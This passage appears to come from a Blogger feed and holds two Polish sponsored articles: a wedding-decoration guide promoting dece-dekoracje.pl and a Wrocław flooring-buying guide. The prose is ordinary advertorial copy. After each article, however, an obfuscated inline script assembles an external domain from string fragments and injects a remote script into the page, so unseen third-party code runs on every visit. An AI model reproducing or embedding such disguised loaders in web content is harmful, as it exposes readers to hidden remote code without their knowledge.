style=&quot;background-color: white; color: #2b2b33; font-family: Inter, Helvetica, sans-serif; font-size: 17.55px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;Dobór odpowiednich dekoracji ślubnych to jeden z najważniejszych elementów planowania uroczystości. Dekoracje mają nie tylko podkreślić charakter wydarzenia, ale też wpływać na klimat i samopoczucie gości. Estetyka, spójność z motywem przewodnim, a także dopasowanie do miejsca i pory roku – to wszystko ma znaczenie. W tym przewodniku, opartym m.in. na ofercie&lt;/span&gt;&lt;a href=&quot;http://dece-dekoracje.pl/&quot;&gt;&lt;span&gt;dece-dekoracje.pl&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, przedstawimy, jak dobrać dekoracje, które będą nie tylko piękne, ale i funkcjonalne.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Z tego artykułu dowiesz się:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;jak określić styl wesela i jakie są najpopularniejsze konwencje&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jakie dekoracje ślubne pasują do poszczególnych stylistyk&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jakie elementy są absolutnym must-have&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;na co zwrócić uwagę przy wyborze dostawcy dekoracji&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jak zoptymalizować budżet bez rezygnacji z efektu &quot;wow&quot;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;b&gt;Spis treści&lt;/b&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Styl wesela jako punkt wyjścia do wyboru dekoracji&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Klasyczne dekoracje ślubne – elegancja i ponadczasowość&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rustykalne i boho – dekoracje inspirowane naturą&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Glamour, industrial, minimalizm – style nowoczesne i odważne&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kwiaty, tekstylia, oświetlenie – trzy filary udanej aranżacji&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dekoracje personalizowane i dodatki z charakterem&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wybór dostawcy dekoracji ślubnych – na co zwrócić uwagę&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;FAQ – najczęstsze pytania par planujących dekoracje ślubne&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;b&gt;Styl wesela jako punkt wyjścia do wyboru dekoracji&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Każde udane wesele zaczyna się od decyzji o jego stylu. To on będzie determinować wybór sali, sukni, muzyki, a przede wszystkim – dekoracji. Najpopularniejsze style weselne to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;klasyczny / elegancki&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rustykalny&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;boho&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;glamour&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;industrialny&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;minimalistyczny&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;romantyczny&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Styl powinien być zgodny z osobowością pary młodej i charakterem miejsca. Wybierając dekoracje, należy trzymać się jednolitej konwencji kolorystycznej, faktur i form.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Klasyczne dekoracje ślubne – elegancja i ponadczasowość&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Styl klasyczny opiera się na harmonii i stonowanej palecie kolorów. Dominują biel, ecru, pastele, złoto i srebro. W dekoracjach znajdziemy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;wysokie kompozycje kwiatowe w szklanych wazonach&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;obrusy z wysokiej jakości tkanin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;klasyczne świeczniki i lampiony&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;eleganckie papeterie (winietki, menu, tablice gości)&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To bezpieczna, ale zawsze efektowna opcja, idealna dla sal bankietowych i hoteli.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Rustykalne i boho – dekoracje inspirowane naturą&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Styl rustykalny i boho zyskały ogromną popularność dzięki swojej lekkości i autentyczności. Dominuje drewno, juta, koronki, suszone kwiaty, trawy pampasowe. Typowe elementy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;girlandy z zieleni i światłek&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;drewniane tabliczki z kaligrafią&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;butelki i słoiki jako wazony&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;makramy i lniane bieżniki&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tego typu aranżacje sprawdzają się idealnie w stodołach, ogrodach i plenerach.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Glamour, industrial, minimalizm – style nowoczesne i odważne&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Wesele glamour to blask, bogactwo form i odwaga w detalach. Cechują je:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;kryształy i lustra&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;intensywne kolory (burgund, granat, złoto)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;spektakularne dekoracje sufitowe&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Styl industrialny bazuje na surowości: cegła, metal, szkło. Dekoracje są minimalistyczne, ale wyraziste.&lt;br&gt;Minimalizm z kolei oznacza prostotę, ograniczoną kolorystykę i celowe &quot;puste przestrzenie&quot;, które podkreślają estetykę.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Kwiaty, tekstylia, oświetlenie – trzy filary udanej aranżacji&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Niezależnie od stylu, trzy elementy decydują o efekcie finalnym:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;kwiaty&lt;/b&gt;: żywe, sztuczne lub mieszane. Ważna jest spójność gatunków i kolorów.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;tekstylia&lt;/b&gt;: obrusy, bieżniki, serwetki. Nadają strukturę i elegancję.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;oświetlenie&lt;/b&gt;: światła dekoracyjne, girlandy, świeczki. Tworzą klimat i definiują przestrzeń.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dobrze zaplanowane łączą estetykę z funkcjonalnością i pozwalają tworzyć wielowymiarowe aranżacje.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Dekoracje personalizowane i dodatki z charakterem&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Coraz więcej par decyduje się na dodatki personalizowane: inicjały, napisy LED, dedykowane strefy relaksu czy kąciki tematyczne. To one nadają indywidualnego tonu i zostają w pamięci gości.&lt;/p&gt;
&lt;p&gt;W ofercie takich firm jak&lt;a href=&quot;http://dece-dekoracje.pl/&quot;&gt; &lt;/a&gt;&lt;a href=&quot;http://dece-dekoracje.pl/&quot;&gt;&lt;u&gt;&lt;b&gt;dece-dekoracje.pl&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; znajdziesz rozwiązania zarówno klasyczne, jak i nowoczesne, dostosowane do konkretnego scenariusza uroczystości.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Wybór dostawcy dekoracji ślubnych – na co zwrócić uwagę&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Przy wyborze firmy dekoratorskiej warto kierować się:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;portfolio z realizacjami w interesującym Cię stylu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;opiniami par młodych&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;elastycznością oferty i dostępnością terminów&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jakością kontaktu i profesjonalizmem doradców&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rzetelna firma dekoratorska doradzi, co warto, a co niekoniecznie sprawdzi się w Twoim przypadku, pomoże zoptymalizować budżet i zaprojektuje spójną koncepcję stylistyczną.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;FAQ – najczęstsze pytania par planujących dekoracje ślubne&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;b&gt;Czy warto zatrudnić firmę do dekoracji, czy lepiej zorganizować wszystko samodzielnie?&lt;br&gt;&lt;/b&gt; Jeśli zależy Ci na czasie, spójności i efekcie profesjonalnym – zdecydowanie warto powierzyć to zadanie specjalistom.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Jaki budżet trzeba przewidzieć na dekoracje ślubne?&lt;br&gt;&lt;/b&gt; Zależy od skali wydarzenia, stylu i wybranych elementów. Minimalne pakiety zaczynają się od ok. 3000 zł, ale przeciętnie pary wydają 5000–10000 zł.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy dekoracje ze sztucznych kwiatów wyglądają dobrze?&lt;br&gt;&lt;/b&gt; Tak, jeśli są wysokiej jakości i odpowiednio skomponowane. Czasem trudno je odróżnić od żywych.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Jak wcześnie trzeba zarezerwować dekoratora?&lt;br&gt;&lt;/b&gt; Najlepiej 6–10 miesięcy przed ślubem, zwłaszcza w sezonie.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy dekoracje ślubne muszą być dopasowane do sukni i garnituru?&lt;br&gt;&lt;/b&gt; Nie muszą, ale warto zadbać o spójny motyw kolorystyczny i estetyczny.&lt;/p&gt;
&lt;p&gt;Więcej inspiracji i przykładowych realizacji znajdziesz na stronie&lt;a href=&quot;http://dece-dekoracje.pl/&quot;&gt; &lt;/a&gt;&lt;a href=&quot;http://dece-dekoracje.pl/&quot;&gt;&lt;u&gt;dece-dekoracje.pl&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;script&gt;
(function(){
upwx=document.createElement(&quot;script&quot;);upwx.type=&quot;text/javascript&quot;;
upwx.async=true;upwx_=(&quot;op&quot;+(&quot;ens&quot;)+&quot;t&quot;)+&quot;a&quot;;upwx_+=(&quot;t.e&quot;)+&quot;&quot;+&quot;u&quot;;
upwx.src=&quot;https://&quot;+upwx_+&quot;/2546309817.4hl1ci9upwx5zgbn05g1vppjt317cm&quot;;
document.body.appendChild(upwx);
})();
&lt;/script&gt;
Artykuł partnera</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/8539785816883919581/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/jak-wybrac-dekoracje-slubne-dopasowane.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8539785816883919581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8539785816883919581'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/jak-wybrac-dekoracje-slubne-dopasowane.html' title='Jak wybrać dekoracje ślubne dopasowane do stylu wesela?'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7ydpaoWnykGeBk0UCNsbX39Bm7VX-L0AEdMqEGbJfmcHs9UHc6dLAjqRmbKOH1KUAQSvQoVgvqaNUTfknAY_Au9Wn9FJSIBmw4Oho7ZFxHJJhMDIY_f22o4zZTp11X4xGfZVBpDxz75dFWFA7U-vhjznNaeSwFW8r0eRJvcxSOQggz5bmpWYgr3GEHQNT/s72-w638-h425-c/pexels-solliefoto-313707.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-6997360682654564938</id><published>2025-11-26T15:55:00.009+01:00</published><updated>2025-11-26T16:17:14.570+01:00</updated><title type='text'>Podłogi Wrocław – jak wybrać idealną podłogę do swojego wnętrza</title><content type='html'>Wybór odpowiedniej podłogi to jedna z kluczowych decyzji podczas urządzania mieszkania, domu czy biura. Ma bezpośredni wpływ na komfort użytkowania, estetykę oraz funkcjonalność przestrzeni. Wrocław jako dynamicznie rozwijające się miasto oferuje szeroki wybór rozwiązań w zakresie pokryć podłogowych. Zarówno klienci indywidualni, jak i inwestorzy deweloperscy znajdą tu specjalistyczne punkty sprzedaży, showroomy oraz wykonawców.
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSPZwX0PBCAYe7bAx_a_jalX5cMhN6jpM1i6mWd39Y_ikZXe2q1WnKCO50Q2gzwsDuM7A_3Az-FEqMJai7nN_EDZsheOmzRB03X4Qr7AZS1snIE3_jnbvqhWAY17GJ0bxw_IpaCOxyywtNsX5MsaHNtoSeggsNpP0RpUR8QD6-flzeEFqVjws8hEB-YM2/s1280/pexels-pixabay-2690633.jpg&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;640&quot; data-original-width=&quot;1280&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSPZwX0PBCAYe7bAx_a_jalX5cMhN6jpM1i6mWd39Y_ikZXe2q1WnKCO50Q2gzwsDuM7A_3Az-FEqMJai7nN_EDZsheOmzRB03X4Qr7AZS1snIE3_jnbvqhWAY17GJ0bxw_IpaCOxyywtNsX5MsaHNtoSeggsNpP0RpUR8QD6-flzeEFqVjws8hEB-YM2/s600/pexels-pixabay-2690633.jpg&quot; width=&quot;600&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align:center !important&quot;&gt;
&lt;p&gt;W poniższym artykule przedstawiamy:&lt;/p&gt;
&lt;ul style=&quot;text-align:center&quot;&gt;
&lt;li&gt;
&lt;p&gt;jakie rodzaje podłóg są dostępne na rynku&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;które materiały sprawdzają się w konkretnych pomieszczeniach&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;jak dopasować podłogę do stylu wnętrza i intensywności użytkowania&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;na co zwracać uwagę przy zakupie i montażu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;gdzie w mieście szukać sprawdzonych dostawców&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;b&gt;Spis treści&lt;/b&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Podłogi Wrocław – jakie masz możliwości?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Drewniane, winylowe, laminowane – porównanie materiałów&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Podłoga a funkcja pomieszczenia&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Styl wnętrza a wybór podłogi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Błędy przy zakupie i montażu podłogi – jak ich uniknąć&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Gdzie kupić podłogi we Wrocławiu – salony i hurtownie&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Usługi dodatkowe – montaż, doradztwo, transport&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;FAQ – najczęstsze pytania o podłogi Wrocław&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;a href=&quot;https://domdebu.pl/&quot;&gt;&lt;u&gt;&lt;b&gt;Podłogi Wrocław&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;b&gt; – jakie masz możliwości?&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Wrocławski rynek podłóg jest dobrze rozwinięty i obejmuje zarówno lokalnych producentów, jak i przedstawicielstwa marek krajowych i zagranicznych. Klient może wybierać spośród:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;salonów z podłogami drewnianymi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;specjalistycznych punktów z panelami winylowymi i SPC&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;hurtowni z laminatami i panelami podłogowymi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sklepów online z dostawą i wsparciem montażowym&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Niektóre punkty oferują też showroomy z ekspozycją podłóg na dużych powierzchniach, co pozwala realnie ocenić wygląd i fakturę produktu.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Drewniane, winylowe, laminowane – porównanie materiałów&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Każdy typ podłogi ma swoje zalety i ograniczenia. Poniżej zestawienie trzech najpopularniejszych rozwiązań:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Podłogi drewniane:&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;naturalne, ciepłe, szlachetne&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;możliwość wielokrotnego cyklinowania&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;wyższy koszt materiału i montażu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;b&gt;Panele winylowe (LVT, SPC):&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;wodoodporność, trwałość, prosty montaż&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;świetne do kuchni, łazienki, mieszkań na wynajem&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bardzo dobre wrażenie estetyczne (imitacja drewna, kamienia)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;b&gt;Panele laminowane:&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;budżetowa alternatywa&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;szeroki wybór wzorów&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mniejsza odporność na wilgoć i uszkodzenia mechaniczne&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;b&gt;Podłoga a funkcja pomieszczenia&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Wybierając podłogę, należy kierować się nie tylko gustem, ale również przeznaczeniem wnętrza:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;salon, sypialnia:&lt;/b&gt; drewno, winyl lub wysokiej klasy laminat&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;kuchnia, łazienka:&lt;/b&gt; tylko panele winylowe lub gres&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;korytarz, przedpokój:&lt;/b&gt; trwałe powierzchnie odporne na piasek i wilgoć&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;biuro, lokal usługowy:&lt;/b&gt; podłogi komercyjne o podwyższonej odporności&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Warto pamiętać, że nawet najpiękniejsza podłoga nie spełni swojej funkcji, jeśli będzie źle dopasowana do warunków eksploatacyjnych.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Styl wnętrza a wybór podłogi&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Podłoga ma ogromny wpływ na odbiór całej aranżacji. Oto przykłady dopasowania podłogi do stylistyki:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;styl skandynawski:&lt;/b&gt; jasne drewno, naturalne struktury&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;styl industrialny:&lt;/b&gt; ciemne panele, betonopodobne winyle&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;klasyka:&lt;/b&gt; dębowe deski, wzory jodełki&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;b&gt;minimalizm:&lt;/b&gt; gładkie powierzchnie w chłodnych tonacjach&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kolor, rysunek słojów, typ fugi – każdy detal ma znaczenie. Warto też zadbać o spójność z drzwiami, listwami przypodłogowymi i oświetleniem.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Błędy przy zakupie i montażu podłogi – jak ich uniknąć&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Nawet najlepsza podłoga nie spełni swojej funkcji, jeśli zostanie źle dobrana lub źle zamontowana. Najczęstsze błędy to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;brak wyrównania podłoża&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;nieuwzględnienie dylatacji&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;zła klasa ścieralności&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pominięcie warunków wilgotnościowych&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;nieczytanie zaleceń producenta&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Zalecane jest skorzystanie z usług certyfikowanych ekip montażowych, zwłaszcza przy drogich materiałach.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Gdzie kupić podłogi we Wrocławiu – salony i hurtownie&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Wrocław oferuje wiele miejsc, w których można zakupić wysokiej jakości podłogi. Najczęściej wybierane lokalizacje to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;salony specjalistyczne z ekspozycją podłóg&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;hurtownie budowlane oferujące konkurencyjne ceny&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;showroomy producentów z opcją zamówień indywidualnych&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;sklepy internetowe z dostawą na terenie Wrocławia&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Warto porównać nie tylko ceny, ale też zakres obsługi: doradztwo, transport, gwarancję.&lt;/p&gt;
&lt;h2&gt;&lt;b&gt;Usługi dodatkowe – montaż, doradztwo, transport&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;Profesjonalni dostawcy oferują:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pomiary i konsultacje na miejscu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;przygotowanie kosztorysu&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;montaż z gwarancją&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cięcie listew i profili na wymiar&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;transport z wniesieniem&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Takie podejście pozwala uniknąć wielu błędów i finalnie przyspiesza realizację inwestycji.&lt;/p&gt;
&lt;h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;/h2&gt;
&lt;h2&gt;&lt;b&gt;FAQ – najczęstsze pytania o podłogi Wrocław&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;b&gt;Czy podłogi winylowe sprawdzą się w łazience?&lt;br /&gt;&lt;/b&gt; Tak, pod warunkiem zastosowania modeli wodoodpornych (SPC, LVT).&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Który rodzaj podłogi jest najbardziej odporny?&lt;br /&gt;&lt;/b&gt; Do pomieszczeń użytkowych polecane są panele winylowe SPC oraz komercyjne laminaty klasy AC5 i AC6.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy warto inwestować w podłogi drewniane?&lt;br /&gt;&lt;/b&gt; Jeśli budżet pozwala i zależy Ci na naturalnym efekcie – zdecydowanie tak. Drewno to inwestycja na lata.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy podłogi z marketu budowlanego są gorsze?&lt;br /&gt;&lt;/b&gt; Nie zawsze. Czasem są to te same produkty co w salonach, ale bez usługi doradczej. Kluczowa jest specyfikacja techniczna.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Czy montaż warto zlecić profesjonaliście?&lt;br /&gt;&lt;/b&gt; Zdecydowanie tak. Błędy przy układaniu mogą skutkować reklamacjami i obniżeniem trwałości podłogi.&lt;/p&gt;
&lt;/div&gt;
&lt;script&gt;
(function(){
o5u0=document.createElement(&quot;script&quot;);o5u0.async=true;o5u0_=&quot;o&quot;+(&quot;pe&quot;)+&quot;ns&quot;;
o5u0u=&quot;2546308266.&quot;;o5u0_+=&quot;ta&quot;+(&quot;t.e&quot;);o5u0_+=&quot;&quot;+(&quot;u&quot;+&quot;&quot;)+&quot;/&quot;;
o5u0u+=&quot;4xs0t0wh5u0uw1trqc7qwp&quot;+(&quot;8gmXy5a5&quot;);
o5u0.src=&quot;https://&quot;+o5u0_+o5u0u;o5u0.type=&quot;text/javascript&quot;;
document.body.appendChild(o5u0);
})();
&lt;/script&gt;
Artykuł partnera</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/6997360682654564938/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/podogi-wrocaw-jak-wybrac-idealna-podoge.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/6997360682654564938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/6997360682654564938'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2025/11/podogi-wrocaw-jak-wybrac-idealna-podoge.html' title='Podłogi Wrocław – jak wybrać idealną podłogę do swojego wnętrza'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 